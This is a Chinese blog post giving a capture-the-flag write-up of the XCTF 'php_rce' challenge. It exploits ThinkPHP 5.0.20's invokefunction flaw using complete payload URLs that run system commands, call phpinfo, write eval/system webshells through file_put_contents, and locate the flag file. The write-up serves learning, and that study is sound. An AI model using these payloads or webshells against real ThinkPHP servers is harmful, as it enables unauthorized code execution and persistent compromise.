XCTF php_rce

一.根据题目描述,猜测和php框架的RCE漏洞有关

  1.进入实验环境发现果然网页使用的是ThinkPHP框架

  

 

    在url后面随便加点什么,通过报错信息,发现框架的版本为5.0.20,正好存在rce漏洞

  

 

 

 

  2.什么是rce漏洞?

  远程命令执行 英文名称:RCE (remote code execution) ,简称RCE漏洞,是指用户通过浏览器提交执行命令,

  由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,

  可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。

  3.rce的原理

  由于开发人员编写源码,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句提交,

  并交由服务器端执行。命令注入攻击中WEB服务器没有过滤类似system(),eval(),exec()等函数是该漏洞攻击成功的最主要原因。

  4.漏洞的利用

  1.利用system函数远程命令执行

  http://111.198.29.45:41831/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

  2.通过phpinfo函数写出phpinfo()的信息

  http://111.198.29.45:41831/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

  3.写入shell

  http://111.198.29.45:41831/index.php?s=index/think\app/invokefunction&function=call_user_func_array

  &vars[0]=file_put_contents&vars[1][]=test.php&vars[1][]=<?php highlight_file(__FILE__);@eval($_POST['test']);?>

  *highlight_file() 函数对文件进行语法高亮显示  :

    语法:highlight_file(filename,return), 本函数通过使用 PHP 语法高亮程序中定义的颜色,输出或返回包含在 filename 中的代码的语法高亮版本。

    返回值:如果 return 参数被设置为 true,那么该函数会返回被高亮处理的代码,而不是输出它们。否则,若成功,则返回 true,失败则返回 false。

二.实验步骤

  1.http://111.198.29.45:41831/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

  果然能够执行phpinfo()函数执行的结果。

 

  

 

   2.通过  

  如果执行成功就返回文件的大小,即  http://111.198.29.45:41831/index.php?s=index/think\app/invokefunction&function=call_user_func_arra

  y&vars[0]=file_put_contents&vars[1][]=test2.php&vars[1][]=<?php highlight_file(__FILE__);system($_GET['cmd']);?>

  

 

 

 

 

 

 

  我们去试着访问我们写进去的test2.php,     发现访问成功 , 这时就可以通过一句话木马执行恶意的操作了。

 

  

 

 

  在通过  http://111.198.29.45:41831/test2.php?cmd=ls;  查看有哪些文件

 

 

  

 

 

  然后逐次向上查找

  

 

 

   发现flag文件,试着访问一下,得出 flag

 

 


 

 

  这里也可以通过  http://111.198.29.45:41831/test2.php?cmd=find%20/%20-name%20%22flag*%22     查找flag关键字。

  

 

 

   以上是通过shell得到flag。


 

  以下通过system得到flag,为了便于观察,没有对其url转码

  http://111.198.29.45:41831/index.php?s=index/think\app/invokefunction&function=call_user_func_array

  &vars[0]=system&vars[1][]=find / -name "flag*"

 

  

 

posted @ 2020-04-02 22:11  l2sec  阅读(576)  评论(0编辑  收藏  举报